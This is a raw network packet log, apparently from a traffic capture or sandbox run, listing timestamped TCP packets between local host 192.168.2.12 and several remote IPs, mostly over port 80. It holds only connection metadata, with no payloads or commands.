Sep 26, 2024 15:11:10.836791039 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.836797953 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836802006 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.836806059 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836812973 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836869001 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.836958885 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836971045 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836982965 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836994886 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.837006092 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.837017059 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.837023020 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.837023020 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.837183952 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.837186098 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.837197065 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.837208986 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.837219954 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.837235928 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.837244987 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.837244987 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.837249994 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.837261915 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.837268114 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.837275028 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.837286949 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.837302923 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.837315083 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.837326050 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.837337971 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.837341070 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.837341070 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.837377071 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.837377071 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.839543104 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.867291927 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.867321968 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.867338896 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.867352009 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.867364883 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.867377996 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.867412090 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.867419004 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.867434025 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.867445946 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.867486000 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.867486000 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.867543936 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.867557049 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.867568970 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.867579937 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.867588043 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.867599964 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.867635012 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.867635012 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.867685080 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.916306973 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.917684078 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.917717934 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.917732000 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.917795897 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.917819023 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.917833090 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.917845011 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.917857885 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.917870045 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.917886019 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.917886019 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.917939901 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.918010950 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.918024063 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.918035984 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.918049097 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.918062925 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.918073893 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.918092012 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.918092012 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.918154001 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.918165922 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.918178082 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.918195009 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.918195009 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.918196917 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.918210983 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.918224096 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.918273926 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.918273926 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.918339968 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.919760942 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.919806004 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.919817924 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.919878960 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.919878960 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.919907093 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.919919014 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.919930935 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.919943094 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.919955969 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.919962883 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.920033932 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.920037031 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.920087099 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.920101881 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.920111895 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.920126915 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.920134068 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.920166969 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.920166969 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.920172930 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.920186996 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.920197964 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.920252085 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.920264959 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.920275927 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.920299053 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.920299053 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.920326948 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.920382023 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.920394897 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.920406103 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.920417070 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.920439959 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.920552969 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.921854019 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.921868086 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.921880007 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.921927929 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.921941042 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.921952963 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.921964884 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.921977997 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.921988964 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.921992064 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922046900 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922054052 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922061920 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922091961 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922102928 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922111034 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922183990 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922197104 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922210932 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922221899 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922233105 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922245026 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922246933 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922260046 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922282934 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922305107 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922354937 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922368050 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922379971 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922391891 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922403097 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922405958 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922460079 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922461033 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922473907 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922487020 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922498941 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922509909 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922512054 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922553062 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922553062 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922597885 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922610998 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922621965 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922631979 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922648907 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922660112 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922671080 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922671080 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922673941 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922700882 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922708035 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922719955 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922729969 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922741890 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922777891 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922777891 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922811031 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922821045 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922832012 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922843933 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922852993 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922857046 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922883034 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922887087 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922899961 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922899961 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922913074 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.922976971 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.922991037 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.923002958 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.923016071 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.923063040 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.923063040 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.923082113 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.923094988 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.923106909 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.923119068 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.923130989 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.923156023 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.923156023 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.923212051 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.923224926 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.923237085 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.923248053 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.923260927 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.923271894 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.923283100 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.923283100 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.923283100 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.923294067 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.923332930 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.923477888 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.953531981 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.953602076 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.953613997 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.953624964 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.953635931 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.953648090 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.953659058 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.953676939 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.953680992 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.953691006 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.953704119 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.953716040 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.953727007 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.953728914 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.953728914 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.953739882 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.953748941 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.953753948 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.953804016 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.953804016 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.005502939 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.005517960 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.005531073 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.005603075 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.005604029 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.005621910 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.005635023 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.005646944 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.005662918 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.005959988 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.006195068 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.006283998 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.006294966 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.006306887 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.006311893 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.006331921 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.006344080 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.006356001 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.006371975 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.006371975 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.006458044 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.006469965 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.006480932 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.006486893 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.006565094 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.006575108 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.006581068 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.006587029 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.006592035 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.006599903 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.006599903 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.006623983 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.006652117 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.006670952 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.007724047 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.007776976 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.007788897 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.007826090 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.007874012 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.007886887 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.007899046 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.007910967 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.007920980 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.007991076 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.007996082 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.008008957 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.008021116 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.008032084 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.008064032 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.008064032 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.008110046 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.008121014 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.008132935 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.008173943 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.008173943 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.008197069 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.008311987 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.008323908 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.008336067 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.008347034 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.008358955 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.008369923 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.008382082 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.008385897 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.008387089 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.008420944 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.008420944 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.008929014 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.008949041 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.008959055 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.009007931 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.009015083 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.009027004 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.009054899 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.009099007 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.009110928 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.009123087 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.009150028 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.009176016 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.009187937 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.009196997 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.009201050 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.009263992 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.009264946 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:11.009319067 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:11.155299902 CEST	443	49728	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:11.157516956 CEST	49728	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:11.157557011 CEST	443	49728	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:11.305841923 CEST	443	49728	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:11.305943012 CEST	443	49728	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:11.305989981 CEST	49728	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:11.306508064 CEST	49728	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:11.313096046 CEST	49726	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:11.314316034 CEST	49729	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:11.318228960 CEST	80	49726	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:11.318311930 CEST	49726	80	192.168.2.12	158.101.44.242
